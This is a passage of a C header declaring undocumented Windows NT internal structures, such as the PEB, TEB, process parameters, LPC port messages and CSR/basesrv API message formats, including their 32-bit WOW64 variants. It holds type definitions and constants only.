GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) #define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) #define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) #define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) #define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) #define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) #define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) typedef struct _GDI_HANDLE_ENTRY { union { PVOID Object; PVOID NextFree; }; union { struct { USHORT ProcessId; USHORT Lock : 1; USHORT Count : 15; }; ULONG Value; } Owner; USHORT Unique; UCHAR Type; UCHAR Flags; PVOID UserPointer; } GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; typedef struct _GDI_SHARED_MEMORY { GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; } GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; #define FLS_MAXIMUM_AVAILABLE 128 #define TLS_MINIMUM_AVAILABLE 64 #define TLS_EXPANSION_SLOTS 1024 #define DOS_MAX_COMPONENT_LENGTH 255 #define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; #define WOW64_SYSTEM_DIRECTORY "SysWOW64" #define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" #define WOW64_X86_TAG " (x86)" #define WOW64_X86_TAG_U L" (x86)" typedef enum _WOW64_SHARED_INFORMATION { SharedNtdll32LdrInitializeThunk = 0, SharedNtdll32KiUserExceptionDispatcher = 1, SharedNtdll32KiUserApcDispatcher = 2, SharedNtdll32KiUserCallbackDispatcher = 3, SharedNtdll32LdrHotPatchRoutine = 4, SharedNtdll32ExpInterlockedPopEntrySListFault = 5, SharedNtdll32ExpInterlockedPopEntrySListResume = 6, SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, SharedNtdll32RtlUserThreadStart = 8, SharedNtdll32pQueryProcessDebugInformationRemote = 9, SharedNtdll32EtwpNotificationThread = 10, SharedNtdll32BaseAddress = 11, Wow64SharedPageEntriesCount = 12 } WOW64_SHARED_INFORMATION; // 21.12.2011 added #define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) // 21.12.2011 - end // 32-bit definitions #if (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct LIST_ENTRY32 { DWORD Flink; DWORD Blink; } LIST_ENTRY32; typedef LIST_ENTRY32 *PLIST_ENTRY32; typedef struct LIST_ENTRY64 { ULONGLONG Flink; ULONGLONG Blink; } LIST_ENTRY64; typedef LIST_ENTRY64 *PLIST_ENTRY64; #endif #define WOW64_POINTER(Type) ULONG typedef struct _PEB_LDR_DATA32 { ULONG Length; BOOLEAN Initialized; WOW64_POINTER(HANDLE) SsHandle; LIST_ENTRY32 InLoadOrderModuleList; LIST_ENTRY32 InMemoryOrderModuleList; LIST_ENTRY32 InInitializationOrderModuleList; WOW64_POINTER(PVOID) EntryInProgress; BOOLEAN ShutdownInProgress; WOW64_POINTER(HANDLE) ShutdownThreadId; } PEB_LDR_DATA32, *PPEB_LDR_DATA32; #define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) typedef struct _LDR_DATA_TABLE_ENTRY32 { LIST_ENTRY32 InLoadOrderLinks; LIST_ENTRY32 InMemoryOrderLinks; LIST_ENTRY32 InInitializationOrderLinks; WOW64_POINTER(PVOID) DllBase; WOW64_POINTER(PVOID) EntryPoint; ULONG SizeOfImage; UNICODE_STRING32 FullDllName; UNICODE_STRING32 BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY32 HashLinks; struct { WOW64_POINTER(PVOID) SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; WOW64_POINTER(PVOID) LoadedImports; }; WOW64_POINTER(PVOID) EntryPointActivationContext; WOW64_POINTER(PVOID) PatchInformation; LIST_ENTRY32 ForwarderLinks; LIST_ENTRY32 ServiceTagLinks; LIST_ENTRY32 StaticLinks; WOW64_POINTER(PVOID) ContextInformation; WOW64_POINTER(ULONG_PTR) OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; typedef struct _CURDIR32 { UNICODE_STRING32 DosPath; WOW64_POINTER(HANDLE) Handle; } CURDIR32, *PCURDIR32; typedef struct _RTL_DRIVE_LETTER_CURDIR32 { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING32 DosPath; } RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; typedef struct _RTL_USER_PROCESS_PARAMETERS32 { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; WOW64_POINTER(HANDLE) ConsoleHandle; ULONG ConsoleFlags; WOW64_POINTER(HANDLE) StandardInput; WOW64_POINTER(HANDLE) StandardOutput; WOW64_POINTER(HANDLE) StandardError; CURDIR32 CurrentDirectory; UNICODE_STRING32 DllPath; UNICODE_STRING32 ImagePathName; UNICODE_STRING32 CommandLine; WOW64_POINTER(PVOID) Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING32 WindowTitle; UNICODE_STRING32 DesktopInfo; UNICODE_STRING32 ShellInfo; UNICODE_STRING32 RuntimeData; RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; } RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; typedef struct _PEB32 { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; WOW64_POINTER(HANDLE) Mutant; WOW64_POINTER(PVOID) ImageBaseAddress; WOW64_POINTER(PPEB_LDR_DATA) Ldr; WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; WOW64_POINTER(PVOID) SubSystemData; WOW64_POINTER(PVOID) ProcessHeap; WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; WOW64_POINTER(PVOID) AtlThunkSListPtr; WOW64_POINTER(PVOID) IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { WOW64_POINTER(PVOID) KernelCallbackTable; WOW64_POINTER(PVOID) UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; WOW64_POINTER(PVOID) ApiSetMap; ULONG TlsExpansionCounter; WOW64_POINTER(PVOID) TlsBitmap; ULONG TlsBitmapBits[2]; WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; WOW64_POINTER(PVOID) HotpatchInformation; WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; WOW64_POINTER(PVOID) AnsiCodePageData; WOW64_POINTER(PVOID) OemCodePageData; WOW64_POINTER(PVOID) UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; WOW64_POINTER(SIZE_T) HeapSegmentReserve; WOW64_POINTER(SIZE_T) HeapSegmentCommit; WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; WOW64_POINTER(PPVOID) ProcessHeaps; WOW64_POINTER(PVOID) GdiSharedHandleTable; WOW64_POINTER(PVOID) ProcessStarterHelper; ULONG GdiDCAttributeList; WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; GDI_HANDLE_BUFFER32 GdiHandleBuffer; WOW64_POINTER(PVOID) PostProcessInitRoutine; WOW64_POINTER(PVOID) TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; // Rest of structure not included. } PEB32, *PPEB32; #define GDI_BATCH_BUFFER_SIZE 310 typedef struct _GDI_TEB_BATCH32 { ULONG Offset; WOW64_POINTER(ULONG_PTR) HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; #if (_MSC_VER < 1300) && !defined(_WINDOWS_) // // 32 and 64 bit specific version for wow64 and the debugger // typedef struct _NT_TIB32 { DWORD ExceptionList; DWORD StackBase; DWORD StackLimit; DWORD SubSystemTib; union { DWORD FiberData; DWORD Version; }; DWORD ArbitraryUserPointer; DWORD Self; } NT_TIB32, *PNT_TIB32; typedef struct _NT_TIB64 { DWORD64 ExceptionList; DWORD64 StackBase; DWORD64 StackLimit; DWORD64 SubSystemTib; union { DWORD64 FiberData; DWORD Version; }; DWORD64 ArbitraryUserPointer; DWORD64 Self; } NT_TIB64, *PNT_TIB64; #endif typedef struct _TEB32 { NT_TIB32 NtTib; WOW64_POINTER(PVOID) EnvironmentPointer; CLIENT_ID32 ClientId; WOW64_POINTER(PVOID) ActiveRpcHandle; WOW64_POINTER(PVOID) ThreadLocalStoragePointer; WOW64_POINTER(PPEB) ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; WOW64_POINTER(PVOID) CsrClientThread; WOW64_POINTER(PVOID) Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; WOW64_POINTER(PVOID) WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; WOW64_POINTER(PVOID) SystemReserved1[54]; NTSTATUS ExceptionCode; WOW64_POINTER(PVOID) ActivationContextStackPointer; BYTE SpareBytes[36]; ULONG TxFsContext; GDI_TEB_BATCH32 GdiTebBatch; CLIENT_ID32 RealClientId; WOW64_POINTER(HANDLE) GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; WOW64_POINTER(PVOID) GdiThreadLocalInfo; WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; WOW64_POINTER(PVOID) glDispatchTable[233]; WOW64_POINTER(ULONG_PTR) glReserved1[29]; WOW64_POINTER(PVOID) glReserved2; WOW64_POINTER(PVOID) glSectionInfo; WOW64_POINTER(PVOID) glSection; WOW64_POINTER(PVOID) glTable; WOW64_POINTER(PVOID) glCurrentRC; WOW64_POINTER(PVOID) glContext; NTSTATUS LastStatusValue; UNICODE_STRING32 StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; WOW64_POINTER(PVOID) DeallocationStack; WOW64_POINTER(PVOID) TlsSlots[64]; LIST_ENTRY32 TlsLinks; } TEB32, *PTEB32; typedef VOID (*PPS_POST_PROCESS_INIT_ROUTINE) ( VOID ); typedef struct _TIB { struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; struct _TIB *Self; } TIB; typedef TIB *PTIB; // // inifile mapping // typedef struct _NLS_USER_INFO { /**/ /*|0xa0|*/ WCHAR iCountry[80]; /**/ /*|0xa0|*/ WCHAR sCountry[80]; /**/ /*|0xa0|*/ WCHAR sList[80]; /**/ /*|0xa0|*/ WCHAR iMeasure[80]; /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; /**/ /*|0xa0|*/ WCHAR sDecimal[80]; /**/ /*|0xa0|*/ WCHAR sThousand[80]; /**/ /*|0xa0|*/ WCHAR sGrouping[80]; /**/ /*|0xa0|*/ WCHAR iDigits[80]; /**/ /*|0xa0|*/ WCHAR iLZero[80]; /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; /**/ /*|0xa0|*/ WCHAR sCurrency[80]; /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; /**/ /*|0xa0|*/ WCHAR iCurrency[80]; /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; /**/ /*|0xa0|*/ WCHAR sPosSign[80]; /**/ /*|0xa0|*/ WCHAR sNegSign[80]; /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; /**/ /*|0xa0|*/ WCHAR s1159[80]; /**/ /*|0xa0|*/ WCHAR s2359[80]; /**/ /*|0xa0|*/ WCHAR sShortDate[80]; /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; /**/ /*|0xa0|*/ WCHAR sLongDate[80]; /**/ /*|0xa0|*/ WCHAR iCalType[80]; /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; /**/ /*|0xa0|*/ WCHAR sLocale[80]; /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; /**/ /*|0x4|*/ ULONG UserLocaleId; /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; } NLS_USER_INFO, *PNLS_USER_INFO; // typedef struct _INIFILE_MAPPING_TARGET { struct _INIFILE_MAPPING_TARGET* Next; struct _UNICODE_STRING RegistryPath; } INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; typedef struct _INIFILE_MAPPING_VARNAME { struct _INIFILE_MAPPING_VARNAME* Next; UNICODE_STRING Name; ULONG MappingFlags; struct _INIFILE_MAPPING_TARGET* MappingTarget; } INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; typedef struct _INIFILE_MAPPING_APPNAME { struct _INIFILE_MAPPING_APPNAME* Next; UNICODE_STRING Name; struct _INIFILE_MAPPING_VARNAME* VariableNames; struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; } INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; typedef struct _INIFILE_MAPPING_FILENAME { struct _INIFILE_MAPPING_FILENAME* Next; UNICODE_STRING Name; struct _INIFILE_MAPPING_APPNAME* ApplicationNames; struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; } INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; typedef struct _INIFILE_MAPPING { struct _INIFILE_MAPPING_FILENAME* FileNames; struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; ULONG Reserved; } INIFILE_MAPPING, *PINIFILE_MAPPING; #define PORT_CONNECT (0x0001) #define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) typedef struct _PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { LPC_CLIENT_ID ClientId; double DoNotUseThisField; // Force quadword alignment }; ULONG MessageId; union { LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message ULONG CallbackId; // Only valid on LPC_REQUEST message }; // UCHAR Data[]; } PORT_MESSAGE, *PPORT_MESSAGE; typedef struct _PORT_DATA_ENTRY { LPC_PVOID Base; ULONG Size; } PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; typedef struct _PORT_DATA_INFORMATION { ULONG CountDataEntries; PORT_DATA_ENTRY DataEntries[1]; } PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; // // csrss & csrsrv related // typedef ULONG CSR_API_NUMBER; #define CSR_API_PORT_NAME L"ApiPort" // // This structure is filled in by the client prior to connecting to the CSR // server. The CSR server will fill in the OUT fields if prior to accepting // the connection. // typedef struct _CSR_API_CONNECTINFO { HANDLE ObjectDirectory; PVOID SharedSectionBase; PVOID SharedStaticServerData; PVOID SharedSectionHeap; ULONG DebugFlags; ULONG SizeOfPebData; ULONG SizeOfTebData; ULONG NumberOfServerDllNames; HANDLE ServerProcessId; } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; // // Message format for messages sent from the client to the server // typedef struct _CSR_CLIENTCONNECT_MSG { ULONG ServerDllIndex; PVOID ConnectionInformation; ULONG ConnectionInformationLength; } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // #define CSR_NORMAL_PRIORITY_CLASS 0x00000010 #define CSR_IDLE_PRIORITY_CLASS 0x00000020 #define CSR_HIGH_PRIORITY_CLASS 0x00000040 #define CSR_REALTIME_PRIORITY_CLASS 0x00000080 typedef struct _CSR_CAPTURE_HEADER { ULONG Length; PVOID RelatedCaptureBuffer; ULONG CountMessagePointers; PCHAR FreeSpace; ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; #define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" #define CSRSRV_SERVERDLL_INDEX 0 #define CSRSRV_FIRST_API_NUMBER 0 #define BASESRV_SERVERDLL_INDEX 1 #define BASESRV_FIRST_API_NUMBER 0 #define CONSRV_SERVERDLL_INDEX 2 #define CONSRV_FIRST_API_NUMBER 512 #define USERSRV_SERVERDLL_INDEX 3 #define USERSRV_FIRST_API_NUMBER 1024 #define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) #define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ ((ULONG)((ULONG)(ApiNumber) >> 16)) #define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ ((ULONG)((USHORT)(ApiNumber))) typedef struct _CSR_NT_SESSION { struct _LIST_ENTRY SessionLink; ULONG SessionId; ULONG ReferenceCount; STRING RootDirectory; } CSR_NT_SESSION, *PCSR_NT_SESSION; typedef struct _CSR_API_MSG { PORT_MESSAGE h; union { CSR_API_CONNECTINFO ConnectionRequest; struct { PCSR_CAPTURE_HEADER CaptureBuffer; CSR_API_NUMBER ApiNumber; ULONG ReturnValue; ULONG Reserved; union { CSR_CLIENTCONNECT_MSG ClientConnect; ULONG_PTR ApiMessageData[ 46 ]; } u; }; }; } CSR_API_MSG, *PCSR_API_MSG; typedef ULONG (*PCSR_CALLBACK_ROUTINE)( _Inout_ PCSR_API_MSG ReplyMsg ); typedef struct _CSR_CALLBACK_INFO { ULONG ApiNumberBase; ULONG MaxApiNumber; PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; } CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; // end csrss // // Time Zone // typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { struct _RTL_TIME_ZONE_INFORMATION tzi; WCHAR TimeZoneKeyName[ 128 ]; UCHAR DynamicDaylightTimeDisabled; } RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // // // basesrv api // typedef struct _BASESRV_API_CONNECTINFO { ULONG ExpectedVersion; HANDLE DefaultObjectDirectory; ULONG WindowsVersion; ULONG CurrentVersion; ULONG DebugFlags; WCHAR WindowsDirectory[ MAX_PATH ]; WCHAR WindowsSystemDirectory[ MAX_PATH ]; } BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; typedef enum _BASESRV_API_NUMBER { BasepCreateProcess = BASESRV_FIRST_API_NUMBER, BasepCreateThread, BasepGetTempFile, BasepExitProcess, BasepDebugProcess, BasepCheckVDM, BasepUpdateVDMEntry, BasepGetNextVDMCommand, BasepExitVDM, BasepIsFirstVDM, BasepGetVDMExitCode, BasepSetReenterCount, BasepSetProcessShutdownParam, BasepGetProcessShutdownParam, BasepSetVDMCurDirs, BasepGetVDMCurDirs, BasepBatNotification, BasepRegisterWowExec, BasepSoundSentryNotification, BasepRefreshIniFileMapping, BasepDefineDosDevice, BasepSetTermsrvAppInstallMode, BasepSetTermsrvClientTimeZone, BasepSxsCreateActivationContext, BasepDebugProcessStop, BasepRegisterThread, BasepDeferredCreateProcess, BasepNlsGetUserInfo, BasepNlsSetUserInfo, BasepNlsUpdateCacheCount, BasepMaxApiNumber } BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; typedef struct _BASE_NLS_SET_USER_INFO_MSG { ULONG LCType; USHORT* pData; ULONG DataLength; } BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; typedef struct _BASE_NLS_GET_USER_INFO_MSG { struct _NLS_USER_INFO* pData; ULONG DataLength; } BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG { ULONG Reserved; } BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; typedef struct _BASE_UPDATE_VDM_ENTRY_MSG { ULONG iTask; ULONG BinaryType; PVOID ConsoleHandle; PVOID VDMProcessHandle; PVOID WaitObjectForParent; USHORT EntryIndex; USHORT VDMCreationState; } BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG { ULONG iTask; PVOID ConsoleHandle; PVOID WaitObjectForVDM; PVOID StdIn; PVOID StdOut; PVOID StdErr; ULONG CodePage; ULONG dwCreationFlags; ULONG ExitCode; PCHAR CmdLine; PCHAR AppName; PCHAR PifFile; PCHAR CurDirectory; PCHAR Env; ULONG EnvLen; struct _STARTUPINFOA* StartupInfo; PCHAR Desktop; ULONG DesktopLen; PCHAR Title; ULONG TitleLen; PCHAR Reserved; ULONG ReservedLen; USHORT CurrentDrive; USHORT CmdLen; USHORT AppLen; USHORT PifLen; USHORT CurDirectoryLen; USHORT VDMState; UCHAR fComingFromBat; } BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; typedef struct _BASE_SHUTDOWNPARAM_MSG { ULONG ShutdownLevel; ULONG ShutdownFlags; } BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; typedef struct _BASE_GETTEMPFILE_MSG { ULONG uUnique; } BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; typedef struct _BASE_DEBUGPROCESS_MSG { ULONG dwProcessId; CLIENT_ID DebuggerClientId; PVOID AttachCompleteRoutine; } BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // typedef struct _BASE_CHECKVDM_MSG { ULONG iTask; HANDLE ConsoleHandle; ULONG BinaryType; HANDLE WaitObjectForParent; HANDLE StdIn; HANDLE StdOut; HANDLE StdErr; ULONG CodePage; ULONG dwCreationFlags; PCHAR CmdLine; PCHAR AppName; PCHAR PifFile; PCHAR CurDirectory; PCHAR Env; ULONG EnvLen; LPSTARTUPINFOA StartupInfo; PCHAR Desktop; ULONG DesktopLen; PCHAR Title; ULONG TitleLen; PCHAR Reserved; ULONG ReservedLen; USHORT CmdLen; USHORT AppLen; USHORT PifLen; USHORT CurDirectoryLen; USHORT CurDrive; USHORT VDMState; struct _LUID* UserLuid; } BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; typedef struct _BASE_GET_VDM_EXIT_CODE_MSG { PVOID ConsoleHandle; PVOID hParent; ULONG ExitCode; } BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // typedef struct _BASE_DEFERREDCREATEPROCESS_MSG { struct _CLIENT_ID* ClientId; ULONG NtUserFlags; } BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // typedef struct _BASE_EXITPROCESS_MSG { NTSTATUS uExitCode; } BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG { PVOID ConsoleHandle; PCHAR lpszzCurDirs; ULONG cchCurDirs; } BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // typedef struct _BASE_SET_REENTER_COUNT { PVOID ConsoleHandle; ULONG fIncDec; } BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // #if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) typedef enum { ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, ACTCTX_RUN_LEVEL_AS_INVOKER, ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, ACTCTX_RUN_LEVEL_NUMBERS } ACTCTX_REQUESTED_RUN_LEVEL; typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { DWORD ulFlags; ACTCTX_REQUESTED_RUN_LEVEL RunLevel; DWORD UiAccess; } ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; #endif typedef struct _BASE_SXS_CREATEPROCESS_MSG { ULONG Flags; ULONG ProcessParameterFlags; union { UNICODE_STRING CultureFallbacks; ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; UNICODE_STRING AssemblyName; } u; } BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // typedef struct _BASE_CREATEPROCESS_MSG { PVOID ProcessHandle; PVOID ThreadHandle; CLIENT_ID ClientId; ULONG CreationFlags; ULONG VdmBinaryType; ULONG VdmTask; PVOID hVDM; struct _BASE_SXS_CREATEPROCESS_MSG Sxs; ULONGLONG PebAddressNative; ULONG PebAddressWow64; USHORT ProcessorArchitecture; } BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // typedef struct _BASE_CREATETHREAD_MSG { PVOID ThreadHandle; CLIENT_ID ClientId; } BASE_CREATETHREAD_MSG, 